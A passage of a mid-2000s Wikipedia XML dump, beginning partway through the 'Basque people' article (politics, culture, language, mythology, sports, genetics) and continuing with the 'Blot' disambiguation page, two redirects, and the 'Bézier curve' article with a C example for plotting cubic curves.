* Closure of the only newspaper fully in Basque language, ''[[Egunkaria]]'', in 2003. Many personalities associated to this paper have reported being tortured by the Spanish authorities while under detention (although is is claimed &lt;!--by whom? --&gt; that reporting torture when arrested is a common practise of the terrorists to slow the practice of justice, and that suggestions to do so have been found in internal newsletters of ETA).&lt;!-- cite?--&gt; Several other publications and organisations have also been banned, such as the bilingual nationalist newspaper ''[[Egin]]'' and the radio station [[Egin Irratia]]. The newspapers ''[[Berria]]'' and ''[[Gara]]'' have taken their niches.

====GAL====
&lt;!-- Data checked against [[es:GAL]] --&gt;In the 1970s, para-police forces fought ETA.
From 1983 to 1987, the Spanish State funded and controlled [[Grupos Antiterroristas de Liberación|GAL]], which was a right-wing paramilitary force that attacked and killed Basque citizens in both the Spain and France. The GAL murdered over 23 citizens. In the 1990s several high-profile investigations were conducted in Spain, which led to the imprisonment of high-ranking police officials and a former government minister. There is evidence to suggest that control of the GAL went to the highest levels within the Spanish State Government.

==Culture==
There are interesting social differences between the Basques and their neighbours.  The Basque people have an unusually close attachment with their homes.  A person's home is their family in the Basque Country.  Even if one does not still live there and has not for generations a Basque family is still known by the house in which it once lived.  Common Basque surnames could translate as &quot;top of the hill&quot;, or &quot;by the river&quot; all relating to the location of their ancestral home.  This is interesting evidence for considering the Basques to be the only people who have always had a fixed and stable abode.

Though matriarchality has been sometimes attributed to Basque society, today it seems clear that the actually known familiar structure is patrilinear, being the top position given to the father, as in neighbour cultures. Nevertheless there are some signs that this could have not always been that way. Also it must be said that the social position of women has always been rather better than in neighbour countries. 

The [[fueros]] on inheritance favoured the unity of the inherited land (in contrast to Galician [[minifundia]]) so, until the Industrial Age, poor Basques (usually the younger sons) emigrated to the rest of Spain or France and the Americas. Saint [[Francis Xavier]] and [[Conquistador]]es like [[Lope de Aguirre]] were Basque.

Despite ETA and the crisis of heavy industries, the Basques have been doing remarkably well in recent years, emerging from persecution during the Franco regime with a strong and vibrant language and culture.  For the first time in centuries, the Basque language is expanding geographically led by large increases in the major urban centres of Pamplona, Bilbao, and Bayonne, where only a few decades ago the Basque language had all but disappeared.  Legislation and abundant public funding have helped this increase.  The establishment of bilingual and mostly Basque teaching has led to the controversial firing of those teachers who could not achieve the required command of Basque language.

The opening of the new [[Guggenheim Museum Bilbao|Guggenheim Museum]] in Bilbao is widely seen as a symbol of a linguistic and cultural revival.

A twentieth-century feature of Basque culture is the phenomenon of [[gastronomical society|gastronomical societies]] (''txoko'', &quot;corner&quot; in Biscay), food clubs where men gather to cook and enjoy their own food.  Until recently, women were only allowed one day in the year.

''See also:'' [[Basque music]]

===Language===
''Main article:'' [[Basque language]].

[[As of 2005]], virtually all Basques speak the dominant language of their respective countries. Besides Spanish or French, about a quarter of Basques speak their own ethnic Basque language, referred to, in that tongue, as [[Basque language|Euskara]], which is not only distinct from [[French language|French]] and [[Spanish language|Spanish]], but apparently unrelated to every other language, both modern and historical, in Europe and the world.  
 
The Basque language is thus a [[language isolate]], although the Spanish language has greatly influenced  it, particularly in the [[vowel]] set. An alternative theory states that it was actually Basque's simplified vowel set that influenced the development of Spanish from [[Vulgar Latin]].

This unique and isolated language has attracted the interest of a great many linguists trying to discover its history and origin. 

The first time we find Basque in writing is the late [[Middle Ages]], which is not, however, evidence of their late arrival, for the Basques were already very well established by this point.
Around the same time and place, Castilian and Navarrese-Aragonese Romance languages start to differentiate from Medieval Latin.

===Religion===
Most Basques are [[Roman Catholic]]s. In the nineteenth century and well into the twentieth, Basques as a group remained notably devout and churchgoing. In recent years church attendance has fallen off, as in  most of Western Europe. The region has been a source of missionaries like [[Francis Xavier]] and [[Michel Garicoïts]]. [[Ignatius Loyola]], founder of the [[Society of Jesus]], was a Basque. 

A sprout of [[Protestantism]] in the continental Basque Country produced the first translation of the new Testament into Basque by [[Joannes Leyçarraga]]. After the king of Navarre converted to Catholicism to be king of France, Protestantism almost disappeared. 

[[Bayonne, France|Bayonne]] held a Jewish community composed mainly of [[Sephardi Jews]] fleeing from the [[Spanish Inquisition|Spanish]] and [[Portuguese Inquisition]]s.

====Pre-Christian religion and mythology====
There is strong evidence of a previous religion, reflected in countless legends and some enduring traditions. This pre-Christian religion was apparently centered on a superior female [[genie]]: [[Mari (goddess)|Mari]]. Her consort [[Sugaar]] also seems to bear some importance. This [[chthonic]] couple seem to bear the superior ethical power and also the power of creation and destruction. It's said that when they gathered in the high caves of the sacred peaks, they engendered the storms. These meetings typically happened on Friday nights, the day of historical [[akelarre]] or [[coven]].  Mari was said to reside in mount [[Anboto]], periodically she crossed the skies as a bright light to reach her other home at mount [[Txindoki]].

Another divinity seems to be [[Urtzi]] (also ''Ost'', ''Ortzi'': sky) but it seems to have been imported, as legends do not speak of him. Nevertheless his name appears in weekdays, months names and metereological events. In medieval times, [[Aymeric Picaud]], a French pilgrim, wrote on the Basques, saying: ''et Deus vocant Urcia'' (&quot;and they name God as Urci-a&quot;; the -a being the Basque nominative or suffixed article).

There is also ''[[Anbotoko Mari]]'', a goddess whose movements affected the weather. According to one tradition, she travelled every seven years between a cave on mount [[Anboto]] and one on another mountain (the stories vary); the weather would be wet when she was in Anboto, dry when she was in [[Aloña]], or [[Supelegor]], or [[Gorbea]]. It is hard to say how old this legend is; despite the [[Paganism|pagan]] elements, one of her names, ''Mari Urraca'', ties her to a possibly historical Navarrese princess of the [[11th century|11th]] and [[12th century]] and other legends give her a brother or cousin who was a Roman Catholic priest.

Legends also speak of many and abundant genies, like ''[[jentilak]]'' (equivalent to [[giant (mythology)|giant]]s), ''lamiak'' (equivalent to [[nymph]]s), ''mairuak'' (builders of the cromlechs or stone circles, literally [[Moors]]), ''iratxoak'' ([[imp]]s), ''sorginak'' ([[witch]]es, priestess of Mari), etc.  [[Basajaun]] is a Basque version of the [[wild man]].  There is a [[trickster]] named ''[[San Martin Txiki]]'' (&quot;St Martin the Lesser&quot;).
It has been shown that some of these stories have entered Basque culture in recent centuries or as part of Roman ''[[superstitio]]''. It is unclear whether [[neolithic]] stone structures called [[dolmen]]s have a religious significance or were built to house animals or resting shepherds.
Some of the dolmens and [[cromlech]]s are burial sites serving as well as border markers.

The ''jentilak'' ('[[Giant (mythology)|Giants]]'), on the other hand, are a legendary people which explains the disappearance of a people of [[Stone Age]] culture that used to live in the high lands and with no knowledge of the iron. Many legends about them tell that they were bigger and taller, with a great force, but were displaced by the ''ferrons'', or workers of ironworks foundries, until their total fade-out.  They were pagans, but one of them, [[Olentzero]], accepted Christianity and became a sort of Basque [[Santa Claus]].  They gave name to several toponyms, as ''[[Jentilbaratza]]''.

===Sports===
[[Image:Xabi Alonso.jpg|thumb|right|[[Liverpool FC]]'s star midfielder [[Xabi Alonso]]&lt;br/&gt;&lt;small&gt;Image: soccer-europe.com&lt;/small&gt;]]
The Basque Country has also contributed many great sportsmen, primarily in [[football (soccer)]], [[cycling]], [[jai-alai]], and [[rugby football|rugby]].

The main sport in the Basque Country, as in the rest of Spain and France, is football. The top teams [[Athletic Bilbao]], [[Real Sociedad]], [[CA Osasuna|Osasuna]] and [[Deportivo Alavés|Alavés]] are a fixture in the [[La Liga|Spanish national league]]. Athletic Bilbao has a policy of hiring only Basque players, or players who have grown and trained in Basque clubs of lower categories. 

Cycling as a sport is very popular in the Basque Country. Cycling races often see Basque fans lining the roads wearing orange, the corporate color of the telco [[Euskaltel]], coining the term ''the orange crush'' during the Pyrenees stages of the [[Tour de France]]. Of course, this is not to be mistaken with the orange of the fans from the Netherlands.

The Navarrese cyclist [[Miguel Induráin]] (now retired) was the first to win the [[Tour de France]] five consecutive times, and has also won the [[Giro d'Italia]] and the [[World Cycling Championship]] in the discipline of [[individual time trial]].  Fellow Basque cyclist [[Abraham Olano]] has won the [[Vuelta a España]] and the World Cycling Championship.

The [[Euskaltel-Euskadi]] cycling team is a commercial team, but also works as an unofficial Basque national team and is partly funded by the Basque Government. They are emerging as a strong contender in the Tour de France, with riders such as [[Iban Mayo]], [[Haimar Zubeldia]] and [[David Etxebarria]] leading the charge.

In France, [[rugby football|rugby]] (especially [[rugby union]]) is another popular sport with the Basque community. In [[Biarritz]], the local club is [[Biarritz Olympique|Biarritz Olympique Pays Basque]], the name referencing the club's Basque heritage. They wear red, white and green, and supporters are known to wave the [[Ikurriña|Basque flag]] in the stands. They also recognize 16 other clubs as &quot;Basque-friendly&quot;. The most famous Biarritz &amp; Basque player is the legendary French fullback [[Serge Blanco]], whose mother was Basque. [[Michel Celaya]] captained both Biarritz and France. Current French number 8 [[Imanol Harinordoquy]] is also a Biarritz &amp; Basque player.

[[Aviron Bayonnais]] is another top club with ''some'' Basque ties, but Biarritz is by far the most prominent. 

[[Pelota]] and [[Jai Alai]] are Basque versions of the European game family that includes [[real tennis]] and [[squash (sport)|squash]]. Basque players, playing for either the Spanish or the French teams, dominate international competititions.

[[Mountaineering]] is favoured by the mountainous character of Basque terrain and nearness of the [[Pyrenees]]. [[Juanito Oiarzabal]] (from [[Vitoria]]), holds the world record for number of climbs above 8,000 meters with 21.

One of the top [[basketball]] clubs in Europe, [[Saski Baskonia|TAU Baskonia]], is located in the Basque city of [[Vitoria|Vítoria/Gasteiz]].

In recent years [[surfing]] has taken root in the Basque shores in spite of the cold Atlantic waters, and [[Mundaka]] and [[Biarritz]] have become spots on the world surf circuit.

====Traditional Basque sports====
There are several sports derived by Basques from everyday chores.
Heavy workers were challenged and bets placed upon them.
Examples are:
*''trainera'' (oar boat) regattas: from fishermen rowing to market with their catch.
*''sokatira'': [[tug-of-war]].
*''harri jasoketa'': stonelifting, from quarry works.
*''aizkolaritza'' and ''trontzalaritza'': [[tree hacking]] and [[log sawing]].
*''segalaritza'': grass [[scythe]]ing.
*''dema'' or stone block pulling, from construction works:
**''idi probak'' with couples of oxen.
**''asto probak'' with donkeys.
**''zaldi probak'' with horses.
**''gizon probak'' with couples of sportsmen.
** From 2000, in [[Valle de Trápaga]]-[[Trapagaran]], [[Vizcaya]], snails are being used to compete at stone pulling. These contests imitate some features of the traditional sports (as shape and paintings of the stones) but lack human physical intervention (human effort is important in shows with oxen, horses and donkeys). 
*shepherd dog competitions.
*''txinga erute'': carrying of weights, one in each hand, representing [[milk canister]]s.
*[[ram fight]]s.
*''[[zipota]]'', a French Basque martial art, similar to [[savate]].
*''barrenador'' competitions: drilling stone blocks with a metal bar, only in the former mining areas of West Biscay.

The world-famous [[run of the bulls]] (or [[encierro]]) in [[Pamplona]]'s [[fiesta]]s ''[[San Fermín|Sanfermines]]'' started as a transport of bulls to the ring. [[Bullfight]]s are also popular in the Basque Country in spite of the unsuitability of the terrain for bull raising and a lack of local [[matador]]s.

While there is no independent Basque state, Spain's [[autonomous communities of Spain|autonomous community]] of the Basque Country, made up of the provinces of Araba/Álava, Bizkaia/Vizcaya and Gipuzkoa/Guipúzcoa, is primarily Basque in character and has a great deal of automony. Similar remarks apply to the Spanish autonomous community of Nafarroa/Navarra.

The political party [[EAJ/PNV]] - ''&quot;Eusko Alderdi Jeltzalea&quot;'' in Euskara, ''&quot;Partido Nacionalista Vasco&quot;'' in Spanish, &quot;Basque Nationalist Party&quot; in English is a moderate nationalist political party from the Basque region of Spain.

The political party [[Batasuna]] (&quot;Unity&quot;), based mainly in Spain but with a French presence, is generally presumed to be associated with the armed Basque separatist group [[ETA]]. In March 2003, Batasuna was permanently banned in Spain by means of a controversial law approved by the Spanish parliament for the control of the political parties which support terrorism (it had not retroactive effect. However, it was quickly banished as it gave evidence). 

The Socialist Party of the Basque Country is the local branch of [[PSOE]].
The mining and industrial areas of Biscay were one of the birthplaces of Spanish socialism. 

The earliest university in the Basque Country was the [[University of Oñate]], founded 1540 in [[Hernani]] and moved to Oñate in [[1548]]. It lasted in various forms until [[1901]]. [http://www.ehu.es/ingles/paginas/prin_i.htm] In [[1868]] there was an unsuccessful effort to establish a Basque-Navarrese University, thwarted by the hostility of the Spanish Central government.  The Jesuits founded the [[University of Deusto]] in Bilbao by the turn of the century.  The first modern Basque public university was the Basque University, founded [[November 18]] [[1936]] in Bilbao in the midst of the Spanish Civil War. It operated only briefly before the defeat by Franco's forces. [http://basque.unr.edu/09/9.3/9.3.35t/9.3.35.07.univ.htm]. 

Several universities, originally teaching only in Spanish, were founded in the Basque region in the Franco era. One of those, the [[University of Bilbao]], has now evolved into the Euskal Herriko Unibertsitatea / Universidad del País Vasco / [[University of the Basque Country]].

There are numerous other significant Basque institutions in the Basque Country and elsewhere. Most Basque organizations in the United States are affiliated with NABO (North American Basque Organizations, Inc.).

==Classification==
As with the Basque language, the Basques are generally considered to be an isolated ethnic group. 

The Basques are clearly a distinct ethnic group in their native region. They are culturally and especially linguistically distinct from their surrounding neighbors, and the controversial claim has often been made that they are comparably genetically distinct as well. Many Basques, especially in Spain, are strongly, even violently, nationalist, identifying far more firmly as Basques than as citizens of any existing state. Indeed, the only question would seem to be whether the term &quot;ethnic group&quot; is too weak, and whether one should favor the term &quot;nation.&quot;

In modern times, as a European people living in a highly industrialized area, cultural differences from the rest of Europe are inevitably blurred, although a conscious cultural identity as a people or nation remains very strong, as does an identification with their homeland, even among many Basques who have emigrated to other parts of Spain or France, or to other parts of the world.

The strongest distinction between the Basques and their traditional neighbors is linguistic. Surrounded by [[Romance languages|Romance-language]] speakers, the Basques traditionally spoke (and many still speak) a language that was not only non-Romance but non-Indo-European. Although the evidence is open to question, the prevailing belief among Basques, and forming part of their national identity, is that their language has continuity to the people who were in this region not merely in pre-Roman times, but in pre-Celtic times, quite possibly before the great invasions of Europe by Asian tribes.

===Genetics===
As part of the Basque national identity, the Iberian idea of the ''&quot;[[limpieza de sangre]]&quot;'' (&quot;cleanliness of blood&quot;) was adopted by [[Sabino Arana]], founder of the nationalist party [[PNV]], who propagated the idea that Basque people were genetically distinct and even superior to neighbouring people and immigrants, pejoratively referred as ''&quot;[[Offensive terms per nationality|Maketos]]&quot;''. Such arguments are considered racist from a modern point of view, but the idea still surfaces occasionally in a certain racialist current inside the Basque nationalism.

Because of this, research of the genetics of Basques is prone to be interpreted with political intentions, while in the Spanish side it has brought to a total denial of any existing genetic study or even the proper validity of any genetic study in humans. 

Investigations of Basque [[blood type]]s have found that there are more Basques with [[type O blood]] than in the general European population. Basques also have a comparatively lower chance of being either [[type B]] or [[type AB]]. The Basques have a high incidence of the [[Rhesus factor|Rhesus]] negative blood type, also common in several North African [[Berber]] tribes.

==See also==
*[[Jai-Alai]]
*[[List of Basques]]

==References==
*''The Basque History of the World'', [[Mark Kurlansky]], [[1999]], ISBN 0802713491
**{{note|KurlanskyHaitz}} [http://www.randomhouse.com/catalog/display.pperl?isbn=9780676973662&amp;view=excerpt Chapter 1].
* [http://www.ethnologue.com/show_country.asp?name=France Ethnologue report for France] for population statistics in France.
*{{note|EBLUL}} Resolution of the General Assembly of the of the European Bureau for Lesser Used Languages, [[13 September]] [[2003]] (Helsinki), on the situation of the Basque language in the Autonomous Community of Navarre. Reported in MERCATOR Butlleti 55: &quot;Speakers of a regional or minority language should have the right to use their language in private and public life. Contrary to these principles, local authorities from Iruña/Pamplona (capital city of the Autonomous Community of Navarre in Spain) have been implementing a series of reforms to the Autonomous Community legislation limiting the use of the Basque language. Basque is the only endangered language in the Autonomous Community of Navarre&amp;hellip;&quot;

==External links==
*[http://freepages.genealogy.rootsweb.com/~allpoms/genetics3.html History since the last Ice Age: National and International DNA Projects] mentions genetic studies over the Basques' origin.
*[http://www.basqueclubs.com/ NABO (North American Basque Organizations, Inc.) official web site]
*[http://www.basqueheritage.com/ Basque Heritage in North America and Basque diaspora today.]
*[http://www.juandegaray.org.ar/ Basque heritage in Argentina.]
*[http://www.eusko-ikaskuntza.org/ Basque Studies Society-Eusko Ikaskuntza.]
*[http://www.euskomedia.org/ A Basque Encyclopedia and other cultural and historical funds.]
*[http://www.euskonews.com/ Euskonews, Magazine edited by the Basque Studies Society.]
*[http://www.euskadi.net/home/ Basque Autonomous Government.]
*[http://www.hyw.com/books/history/Basques.htm Brief history of Basque whaling]
*[http://www.euskalherria.info/index.php?newlang=eng== Euskal Herria Info] (in Basque)
*[http://www.bastaya.org/ Basta ya! (Stop now!)], association against any terrorism. Supports victims of terorism and defends the state, statutes and constitution. (in Spanish)

[[Category:Basque|Basque]]
[[Category:Ethnic groups in Europe]]
[[Category:Ethnic groups in Spain]]
[[Category:Pre-Indo-Europeans]]

[[als:Basken]]
[[de:Basken]]
[[eo:Eŭskoj]]
[[es:Vasco]]
[[fi:Baskit]]
[[he:בסקים]]
[[ja:バスク人]]
[[jbo:skalduna]]
[[ka:ბასკები]]
[[nl:Basken]]
[[pl:Baskowie]]
[[ru:Баски]]
[[sr:Баскијци]]</text>
    </revision>
  </page>
  <page>
    <title>Blot</title>
    <id>4661</id>
    <revision>
      <id>28787013</id>
      <timestamp>2005-11-19T23:41:33Z</timestamp>
      <contributor>
        <username>Pankkake</username>
        <id>425851</id>
      </contributor>
      <minor />
      <text xml:space="preserve">A '''blot''' can refer to several different things.

*In [[biology]], a '''[[Blot (biology)|blot]]''' is a method of transferring proteins, [[DNA]], [[RNA]] or [[protein]] onto a carrier. The following types are known:
**[[Southern blot]] to recognize [[DNA]]
**[[Northern blot]] to recognize [[RNA]]
**[[Western blot]] to recognize [[proteins]]
**[[Southwestern blot]]
*In the [[board game]] [[backgammon]] a '''blot''' is an unprotected checker.
*In [[Norse mythology]] and [[Ásatrú]], a '''[[blót]]''' is a sacred meal shared with the gods.
*[[Blot (album)|Blot]], an album by [[Einherjer]].

See also [[Rorschach inkblot test]].

{{disambig}}
[[sv:Blot]]</text>
    </revision>
  </page>
  <page>
    <title>Bookkeeping</title>
    <id>4662</id>
    <revision>
      <id>39580558</id>
      <timestamp>2006-02-14T12:27:49Z</timestamp>
      <contributor>
        <ip>198.54.202.226</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Double-entry book-keeping]]</text>
    </revision>
  </page>
  <page>
    <title>Basil the Great</title>
    <id>4663</id>
    <revision>
      <id>15902923</id>
      <timestamp>2003-05-10T08:07:22Z</timestamp>
      <contributor>
        <username>Llywrch</username>
        <id>5094</id>
      </contributor>
      <comment>redirect to consolidated article</comment>
      <text xml:space="preserve">#REDIRECT [[Basil of Caesarea]]</text>
    </revision>
  </page>
  <page>
    <title>Bézier curve</title>
    <id>4664</id>
    <revision>
      <id>41253730</id>
      <timestamp>2006-02-26T02:15:38Z</timestamp>
      <contributor>
        <username>Fibonacci</username>
        <id>18738</id>
      </contributor>
      <comment>/* Application in computer graphics */ de Casteljau</comment>
      <text xml:space="preserve">In the [[mathematics|mathematical]] subfield of [[numerical analysis]] a '''Bézier curve''' is a [[parametric curve]] important in [[computer graphics]]. A [[numerical stability|numerically stable]] method to evaluate Bézier curves is [[de Casteljau's algorithm]].

Generalizations of Bézier curves to higher [[dimension]]s are called [[Bézier surface]]s; the [[Bézier triangle]] is a special case.
 
Bézier curves are also formed by many common forms of [[string art]], where strings are looped across a frame of nails.

==History==

Bézier curves were widely publicized in [[1962]] by the [[France|French]] engineer [[Pierre Bézier|Pierre Bézier]] who used them to design [[automobile]] bodies.  The curves were developed in [[1959]] by [[Paul de Casteljau]] using [[de Casteljau's algorithm]].

==Examination of cases==

===Linear Bézier curves===
Given points '''P'''&lt;sub&gt;0&lt;/sub&gt; and '''P'''&lt;sub&gt;1&lt;/sub&gt;, a linear Bézier curve is just a [[straight line]] between those two points. The curve is given by

:&lt;math&gt;\mathbf{B}(t)=(1-t)\mathbf{P}_0 + t\mathbf{P}_1 \mbox{ , } t \in [0,1].&lt;/math&gt;

===Quadratic Bézier curves===

A quadratic Bézier curve is the path traced by the function '''B'''(''t''), given points '''P'''&lt;sub&gt;0&lt;/sub&gt;, '''P'''&lt;sub&gt;1&lt;/sub&gt;, and '''P'''&lt;sub&gt;2&lt;/sub&gt;,
: &lt;math&gt;\mathbf{B}(t) = (1 - t)^{2}\mathbf{P}_0 + 2t(1 - t)\mathbf{P}_1 + t^{2}\mathbf{P}_2 \mbox{ , } t \in [0,1].&lt;/math&gt;

[[TrueType]] fonts use [[Bézier spline]]s composed of the quadratic Bézier curves.

===Cubic Bézier curves===
[[image:bezier.png|right]]
Four points '''P'''&lt;sub&gt;0&lt;/sub&gt;, '''P'''&lt;sub&gt;1&lt;/sub&gt;, '''P'''&lt;sub&gt;2&lt;/sub&gt; and '''P'''&lt;sub&gt;3&lt;/sub&gt; in the plane or in three-dimensional space define a cubic Bézier curve.
The curve starts at '''P'''&lt;sub&gt;0&lt;/sub&gt; going toward '''P'''&lt;sub&gt;1&lt;/sub&gt; and arrives at '''P'''&lt;sub&gt;3&lt;/sub&gt; coming from the direction of '''P'''&lt;sub&gt;2&lt;/sub&gt;. In general, it will not pass through '''P'''&lt;sub&gt;1&lt;/sub&gt; or '''P'''&lt;sub&gt;2&lt;/sub&gt;; these points are only there to provide directional information. The distance between '''P'''&lt;sub&gt;0&lt;/sub&gt; and '''P'''&lt;sub&gt;1&lt;/sub&gt; determines &quot;how long&quot; the curve moves into direction '''P'''&lt;sub&gt;2&lt;/sub&gt; before turning towards '''P'''&lt;sub&gt;3&lt;/sub&gt;.

The [[parametric]] form of the curve is:

:&lt;math&gt;\mathbf{B}(t)=\mathbf{P}_0(1-t)^3+3\mathbf{P}_1t(1-t)^2+3\mathbf{P}_2t^2(1-t)+\mathbf{P}_3t^3 \mbox{ , } t \in [0,1].&lt;/math&gt;

Modern imaging systems like [[PostScript]], [[Metafont]] and [[GIMP]] use Bézier splines composed of cubic Bézier curves for drawing curved shapes.

==Generalization ==

The Bézier curve of degree &lt;math&gt;n&lt;/math&gt; can be generalized as follows. Given points '''P'''&lt;sub&gt;0&lt;/sub&gt;, '''P'''&lt;sub&gt;1&lt;/sub&gt;,..., '''P'''&lt;sub&gt;n&lt;/sub&gt;, the B&amp;eacute;zier curve is

:&lt;math&gt;\mathbf{B}(t)=\sum_{i=0}^n {n\choose i}\mathbf{P}_i(1-t)^{n-i}t^i =\mathbf{P}_0(1-t)^n+{n\choose 1}\mathbf{P}_1(1-t)^{n-1}t+\cdots+\mathbf{P}_nt^n \mbox{ , } t \in [0,1].&lt;/math&gt;

For example, for &lt;math&gt;n=5&lt;/math&gt;:
:&lt;math&gt;\mathbf{B}(t)=\mathbf{P}_0(1-t)^5+5\mathbf{P}_1t(1-t)^4+10\mathbf{P}_2t^2(1-t)^3+10\mathbf{P}_3t^3(1-t)^2+5\mathbf{P}_4t^4(1-t)+\mathbf{P}_5t^5 \mbox{ , } t \in [0,1].&lt;/math&gt;

=== Terminology ===
Some terminology is associated with these parametric curves. We have 
:&lt;math&gt;\mathbf{B}(t) = \sum_{i=0}^n \mathbf{P}_i\mathbf{b}_{i,n}(t),\quad t\in[0,1]&lt;/math&gt;
where the polynomials 
:&lt;math&gt;\mathbf{b}_{i,n}(t) = {n\choose i} t^i (1-t)^{n-i},\quad i=0,\ldots n&lt;/math&gt;
are known as [[Bernstein polynomial|Bernstein basis polynomial]]s of degree ''n'',
defining 0&lt;sup&gt;0&lt;/sup&gt; = 1.

The points '''P'''&lt;sub&gt;''i''&lt;/sub&gt; are called ''control points'' for the B&amp;eacute;zier curve. The [[polygon]] formed by connecting the B&amp;eacute;zier points
with [[line_(mathematics)|line]]s, starting with '''P'''&lt;sub&gt;0&lt;/sub&gt; and finishing with '''P'''&lt;sub&gt;''n''&lt;/sub&gt;, that is, the [[convex hull]] of the '''P'''&lt;sub&gt;''i''&lt;/sub&gt; , is called the ''B&amp;eacute;zier polygon'', and the B&amp;eacute;zier polygon contains the B&amp;eacute;zier curve.

=== Notes === 
*The curve begins at '''P'''&lt;sub&gt;0&lt;/sub&gt; and ends at '''P'''&lt;sub&gt;n&lt;/sub&gt;; this is the so-called ''endpoint interpolation'' property. 
*The curve is a straight line if and only if all the control points lie on the curve, similarly, the B&amp;eacute;zier curve is a straight line if and only if the control points are [[collinear]]
* The start (end) of the curve is [[tangent]] to the first (last) section of the Bézier polygon. 
* A curve can be split at any point into 2 subcurves, or into arbitrarily many subcurves, each of which is also a Bézier curve.
* A circle cannot be exactly formed by a Bézier curve, not even a circular arc. However, often a Bézier curve is an adequate approximation to a small enough circular arc.
* The curve at a fixed offset from a given Bézier curve (&quot;parallel&quot; to that curve, like the offset between rails in a [[railroad]] track) cannot be exactly formed by a Bézier curve (except in some trivial cases). However, there are [[heuristic]] methods that usually give an adequate approximation for practical purposes.

==Application in computer graphics==

Bézier curves are widely used in computer graphics to model smooth curves. As the curve is completely contained in the [[convex hull]] of its control points, the points can be graphically displayed and used to manipulate the curve intuitively. [[Affine transformation]]s such as [[translation (geometry)|translation]], [[Scaling (geometry)|scaling]] and [[rotation]] can be applied on the curve by applying the respective transform on the control points of the curve.

The most important Bézier curves are quadratic and cubic curves. Higher degree curves are more expensive to evaluate. When more complex shapes are needed low order Bézier curves are patched together (obeying certain smoothness conditions) in the form of [[Bézier spline]]s.

The following code is a simple practical example showing how to plot a cubic Bezier curve in C. Note, this simply computes the coefficients of the polynomial and runs through a series of t values from 0 to 1 - in practice this is how it is usually done, even though neat algorithms such as [[de Casteljau's algorithm|de Casteljau's]] are often cited in graphics discussions, etc. This is because in practice a linear algorithm like this is faster and less resource-intensive than a recursive one like de Casteljau's. The following code has been factored to make its operation clear - an optimization in practice would be to compute the coefficients once and then re-use the result for the actual loop that computes the curve points - here they are recomputed every time, which is less efficient but helps to clarify the code.

The resulting curve can be plotted by drawing lines between successive points in the curve array - the more points, the smoother the curve.

On some architectures, the code below can also be optimized by [[dynamic programming]]. E.g. since ''dt'' is constant, ''cx'' * ''t'' changes a constant amount with every iteration. By repeatedly applying this optimization, the loop can be rewritten without any multiplications (though such a procedure is not [[Numerical_stability|numerically stable]]).

&lt;pre&gt;
 /******************************************************
 Code to generate a cubic Bezier curve
*******************************************************/

 typedef struct
 {
	float x;
	float y;
 }
 Point2D;

/******************************************************
 cp is a 4 element array where:
 cp[0] is the starting point, or A in the above diagram
 cp[1] is the first control point, or B
 cp[2] is the second control point, or C
 cp[3] is the end point, or D

 t is the parameter value, 0 &lt;= t &lt;= 1
*******************************************************/

 Point2D PointOnCubicBezier( Point2D* cp, float t )
 {
	float   ax, bx, cx;
	float   ay, by, cy;
	float   tSquared, tCubed;
	Point2D result;

	/* calculate the polynomial coefficients */

	cx = 3.0 * (cp[1].x - cp[0].x);
	bx = 3.0 * (cp[2].x - cp[1].x) - cx;
	ax = cp[3].x - cp[0].x - cx - bx;
	
	cy = 3.0 * (cp[1].y - cp[0].y);
	by = 3.0 * (cp[2].y - cp[1].y) - cy;
	ay = cp[3].y - cp[0].y - cy - by;
	
	/* calculate the curve point at parameter value t */
	
	tSquared = t * t;
	tCubed = tSquared * t;
	
	result.x = (ax * tCubed) + (bx * tSquared) + (cx * t) + cp[0].x;
	result.y = (ay * tCubed) + (by * tSquared) + (cy * t) + cp[0].y;
	
	return result;
 }

/*****************************************************************************
 ComputeBezier fills an array of Point2D structs with the curve points
 generated from the control points cp. Caller must allocate sufficient memory
 for the result, which is &lt;sizeof(Point2D) * numberOfPoints&gt;
******************************************************************************/

 void	ComputeBezier( Point2D* cp, int numberOfPoints, Point2D* curve )
 {
	float   dt;
	int	  i;

	dt = 1.0 / ( numberOfPoints - 1 );

	for( i = 0; i &lt; numberOfPoints; i++)
		curve[i] = PointOnCubicBezier( cp, i*dt );
 }
&lt;/pre&gt;

Another application for Bézier curves is to describe paths for the motion of objects in animations, etc. Here, the x, y positions of the curve are not used to plot the curve but to position a graphic. When used in this fashion, the distance between successive points can become important, and in general these are not spaced equally - points will cluster more tightly where the control points are close to each other, and spread more widely for more distantly positioned control points. If linear motion speed is required, further processing is needed to spread the resulting points evenly along the desired path.

==Rational Bézier curves==

Some curves that seem simple, like the [[circle]], cannot be described by a Bézier curve or a piecewise Bézier curve (though in practice the difference is small and may be tolerable).  To describe some of these other curves, we need additional degrees of freedom.

The rational Bézier curve adds weights that can be adjusted.  The numerator is a weighted Bernstein form Bézier curve and the denominator is a weighted sum of [[Bernstein polynomial]]s.

Given ''n'' + 1 control points '''P'''&lt;sub&gt;''i''&lt;/sub&gt;, the rational Bézier curve can be described by:
:&lt;math&gt; 
\mathbf{B}(t) =
\frac{
\sum_{i=0}^n b_{i,n}(t) \mathbf{P}_{i}w_i 
}
{
\sum_{i=0}^n b_{i,n}(t) w_i 
}
&lt;/math&gt;
or simply
:&lt;math&gt; 
\mathbf{B}(t) =
\frac{
\sum_{i=0}^n {n \choose i} t^i (1-t)^{n-i}\mathbf{P}_{i}w_i 
}
{
\sum_{i=0}^n {n \choose i} t^i (1-t)^{n-i}w_i 
}.
&lt;/math&gt;

==See also==
*[[de Casteljau's algorithm]]
*[[Spline (mathematics)]]
*[[Bézier spline]]
*[[Bézier surface]]
*[[Bézier triangle]]
*[[NURBS]]

== References ==
*Paul Bourke: ''Bézier curves'', http://astronomy.swin.edu.au/~pbourke/curves/bezier/
*[[Donald Knuth]]: ''Metafont: the Program'', Addison-Wesley 1986, pp. 123-131. Excellent discussion of implementation details; available for free as part of the TeX distribution.
*Dr. Thomas Sederberg, BYU ''Bézier curves'', http://www.tsplines.com/resources/class_notes/Bezier_curves.pdf

== External links ==
* [http://www.cs.unc.edu/~mantler/research/bezier/ Bezier Curves interactive applet]
* [http://www.theparticle.com/applets/nyu/BezierApplet/ 3rd order Bezier Curves applet]
* [http://www.sunsite.ubc.ca/LivingMathematics/V001N01/UBCExamples/Bezier/bezier.html Living Math Bézier applet]
* [http://www.ibiblio.org/e-notes/Splines/Bezier.htm Living Math Bézier applets of different spline types, JAVA programming of splines] in [http://ibiblio.org/e-notes/Splines/Intro.htm An Interactive Introduction to Splines]
